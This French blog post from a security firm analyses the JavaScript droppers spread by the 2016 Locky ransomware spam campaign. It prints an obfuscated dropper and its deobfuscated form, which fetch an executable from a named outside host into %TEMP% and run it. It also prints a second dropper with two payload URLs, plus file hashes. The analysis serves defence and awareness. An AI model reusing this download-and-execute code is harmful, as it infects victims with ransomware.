Les actualités de MANIKA (ex Atexio)

Locky : Analyse détaillée du dropper

No comments

Une campagne de spam de grande envergure semble avoir débutée le 16 Février 2016, son but est de déployer un malware de type CryptoLocker appelé Locky. L’email envoyé aux utilisateurs pour l’infection semble à chaque fois contenir un message concernant une facture qui doit être vérifié par l’utilisateur. Cette soi disant facture prend la forme d’une archive ZIP contenant un fichier Javascript malveillant. Cet article a pour but d’analyser le fonctionnement et le comportement de ce script malveillant.

Vue globale du fonctionnement du dropper Locky

Un dropper est utilisé pour déployer le malware Locky sur la machine de la victime. Le but d’un dropper est d’être exécuté sur le poste de la victime afin de télécharger la véritable charge utile du malware. Dans notre cas, le dropper prend la forme d’un fichier JavaScript qui récupère le binaire de locky puis l’exécute. En résumé l’attaque prend la forme suivante :

 

Chronologie :

  1. L’utilisateur reçoit un email dont la pièce jointe (une archive ZIP) est vérolée.
  2. L’utilisateur ouvre l’archive et ouvre le document qui est dedans.
  3. Le document dans l’archive est un script Javascript qui télécharge un binaire malveillant.
  4. Le script exécute le binaire téléchargé

Étape 1 – Mail reçu par l’utilisateur

La première étape se matérialise par un mail envoyé aux victimes concernant une facture qui doit être vérifiée par l’utilisateur. Voici un exemple de mail reçu:

Vous ne voulez plus vous faire avoir par des mails frauduleux ? ATEXIO vous conseille l’article suivant : Ransomware : Ne vous faites plus avoir par les mails frauduleux.

Étape 2 – Archive ZIP reçu via la campagne de spam

La pièce jointe prend la forme d’une archive ZIP contenant un fichier javascript obfusqué. Rien de bien particulier en somme, la charge utile se trouve uniquement dans ce fichier.

Étape 3 – Exécution de la pièce jointe

Sous windows, les fichiers Javascript sont exécutables et un double clic sur le fichier lance son exécution. Le but de ce fichier est de télécharger un fichier malveillant sur le réseau tout en prévenant l’attaquant que l’exécution du dropper s’est correctement déroulée.

Le dropper prend la forme d’un fichier javascript d’une vingtaine de lignes faiblement obfusquées :

var eimwESS= this['\u0041\u0063t\u0069v\u0065XO\u0062j\u0065\u0063\u0074'];
var dlvlo = new eimwESS('\u0057\u0053\u0063\u0072\u0069\u0070\u0074\u002ES\u0068el\u006C');
  var RrPLJ = dlvlo['\u0045\u0078\u0070\u0061\u006EdE\u006E\u0076\u0069\u0072o\u006Em\u0065\u006Et\u0053\u0074\u0072\u0069\u006E\u0067\u0073']('\u0025\u0054E\u004DP\u0025') + '\u002F\u0071j\u006E\u0079EiC\u0071\u002E\u0065\u0078\u0065';
  var rfuvmy = new eimwESS('\u004D\u0053\u0058\u004D\u004C\u0032.\u0058\u004DLH\u0054TP');
    rfuvmy['\u006Fnr\u0065a\u0064\u0079\u0073\u0074\u0061te\u0063hang\u0065'] = function() {
        if (rfuvmy['r\u0065ad\u0079\u0073\u0074at\u0065'] === 4) {
            var rQIFvheBR = new eimwESS('AD\u004F\u0044\u0042\u002E\u0053\u0074\u0072\u0065a\u006D');
            rQIFvheBR['o\u0070e\u006E']();
            rQIFvheBR['t\u0079\u0070e'] = 1;
            rQIFvheBR['wri\u0074\u0065'](rfuvmy['R\u0065\u0073\u0070\u006F\u006E\u0073\u0065\u0042\u006Fd\u0079']);
            rQIFvheBR['po\u0073\u0069\u0074\u0069\u006F\u006E'] = 0;
            rQIFvheBR['\u0073\u0061v\u0065To\u0046\u0069\u006Ce'](RrPLJ, 2);
            rQIFvheBR['\u0063l\u006F\u0073e']();
        };
    };
    try {
    var    kHYAy = 'R\u0075n';
        rfuvmy['o\u0070\u0065n']('G\u0045T' , '\u0068\u0074t\u0070:\u002F\u002Fb\u0061\u0072\u006F\u006D\u0065dical.\u0068\u0075/\u006D\u0065di\u0061\u002F\u0038\u0037\u0068\u0037\u0035\u0034', false);
        rfuvmy['\u0073e\u006Ed']();
        dlvlo [kHYAy](RrPLJ, 1, false);      
    } catch (ajg9ggxFs) {};

Comme on peut le voir il semble que les chaînes de caractères soient simplement codées en unicode, il est donc possible de simplifier la lecture du code en décodant les chaînes unicodes puis en modifiant certains noms de variables afin qu’ils soient plus lisibles. Voici le code déobfusqué :

var ActiveXObject= this['ActiveXObject'];
var ShellObject = new ActiveXObject('WScript.Shell');
  var MalwarePath = ShellObject['ExpandEnvironmentStrings']('%TEMP%') + '/qjnyEiCq.exe';
  var HTTPObject = new ActiveXObject('MSXML2.XMLHTTP');
    HTTPObject['onreadystatechange'] = function() {
        if (HTTPObject['readystate'] === 4) {
            var FileObject = new ActiveXObject('ADODB.Stream');
            FileObject['open']();
            FileObject['type'] = 1;
            FileObject['write'](HTTPObject['ResponseBody']);
            FileObject['position'] = 0;
            FileObject['saveToFile'](MalwarePath, 2);
            FileObject['close']();
        };
    };
    try {
        HTTPObject['open']('GET' , 'http://baromedical.hu/media/87h754', false);
        HTTPObject['send']();
        ShellObject ['Run'](MalwarePath, 1, false);      
    } catch (ajg9ggxFs) {};

Rien de bien compliqué ici. Comme on peut le voir le code semble récupérer un fichier à partir de l’adresse http://baromedical.hu/media/87h754 pour l’écrire dans les fichiers temporaires de l’utilisateur sous le nom qjnyEiCq.exe. Le code javascript demande ensuite l’exécution du fichier fraichement téléchargé.

Étape 4 – Exécution du fichier binaire

D’après une analyse rapide du binaire, il semblerait que celui-ci soit lui même un autre dropper qui vise à désactiver quelques fonctionnalités avant de télécharger la charge utile, à savoir Locky.

Caractéristique de l’exécutable :

  • Origine: Téléchargé par le dropper
  • Taille: 136 Kb
  • MD5: 3f118d0b888430ab9f58fc2589207988
  • SHA256: f927efd7cd2da3a052d857632f78ccf04b673e2774f6ce9a075e654dfd77d940
  • VirusTotal (40/55 le 26/02/2016 09:08)
  • Anubis
  • Malwr

Ressemblance entre locky et teslacrypt

Un autre type de dropper plus complexe que celui de Locky, a aussi été retrouvé dans certains mails. Celui-ci chiffre notamment les chaînes de caractères et gère plusieurs liens de téléchargement. Il est donc possible au dropper d’embarquer plusieurs adresses de téléchargement en cas d’indisponibilité de l’une d’entre-elles pour récupérer la charge utile. Le binaire téléchargé semble toutefois être un autre cryptolocker très virulent en ce moment Teslacrypt.

Le code original de ce dropper est disponible ici

Une fois le code déobfusqué et simplifié, voici son contenu:

var execHandler = function() {
    var execClass = function() {
        var routpuo = "OkO5hJTa6I";
        var invectiveJ42 = "VwbWHDMgEw";
    };
    execClass.prototype.wshExec = function(wraithZm1) {
        return wsh["CreateObject"](wraithZm1);
    };
    execClass.prototype.wscriptExec = function(wraithZm1) {
        return WScript["CreateObject"](wraithZm1);
    };
    return execClass;
}();

(function() {
    var payloads = [ "http://hpareyouhereqq.com/80.exe", "http://hpalsowantsff.com/80.exe"];
    var handler = new execHandler();
    var execObj = handler["wscriptExec"];
    var shellObj = execObj("WScript.Shell");
    var httpObject = execObj("MSXML2.XMLHTTP");
    var fileObject = execObj("ADODB.Stream");
    var tmpPath = shellObj.ExpandEnvironmentStrings("%TEMP%");
    var downloadOK = false;
    for (var i = 0; i < payloads.length; i++) {
        try {
            var payloadURL = payloads[i];
            httpObject.open("GET", payloadURL, false);
            httpObject.send();
            if (httpObject.status == 200) {
                try {
                    exaltwRr["open"]();
                    fileObject.type = 1;
                    fileObject["write"](wistfulVue["responseBody"]);
                    if (fileObject.size > 254976) {
                        i = payloads.length;
                        fileObject.position = 0;
                        fileObject.saveToFile(tmpPath + "4194304.exe", 2);
                        downloadOK = true;
                    }
                } finally {
                    fileObject.close();
                }
            }
        } catch (ignored) {}
    }
    if (downloadOK) {
        shellObj["Exec"](tmpPath + 4194304);
    }
})();

Encore une fois le dropper va simplement chercher une charge utile avant de l’enregistrer dans le dossier temporaire de l’utilisateur, cette fois ci sous le nom 4194304.exe.

La différence notable avec la première version du dropper est que cette fois ci, il embarque deux adresses de téléchargement:

  • http://hpareyouhereqq.com/80.exe
  • http://hpalsowantsff.com/80.exe

Comme pour la version précédente, le code javascript demande ensuite l’exécution du binaire. Néanmoins, il semblerait s’agir cette fois-ci directement d’une charge utile.

Caractéristique de l’exécutable :

  • Origine: Téléchargé par le dropper
  • Taille: 384 Kb
  • MD5: da65d4c99d03baa5e6c1534228a8fa680857b313
  • SHA256: 3dc83eb96859beb0e783ff7b3f9e48763f1ae62fb672428f40fbfa7eb6698a0f
  • VirusTotal (2/55 le 26/02/2016 09:06)
  • Anubis
  • Malwr

Related Posts

Wanacry, décryptage de la cyberattaque

Depuis le 12 mai le Monde entier subi une « cyberattaque » sans précédents : Wanacry. L’entreprise Renault en France, des hôpitaux en Grande-Bretagne ou encore un opérateur téléphonique en Espagne. On cite très souvent les grandes entreprises dans ce genre de situations mais malheureusement les petites et moyennes entreprises subissent également cette « cyberattaque ».

ransomware-2

Ransomware : Ne vous faites plus avoir par les mails frauduleux

Si vous avez suivi les récentes actualités vous n’êtes certainement pas passé à côté des récentes campagnes de phishing à base de ransomware. Pour les autres, soyez extrêmement vigilants car plusieurs campagnes sont actuellement en cours dans toute la France. Ces campagnes basées, notamment, sur les virus « Teslacrypt » et « Locky » (dont nous vous détaillions une

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.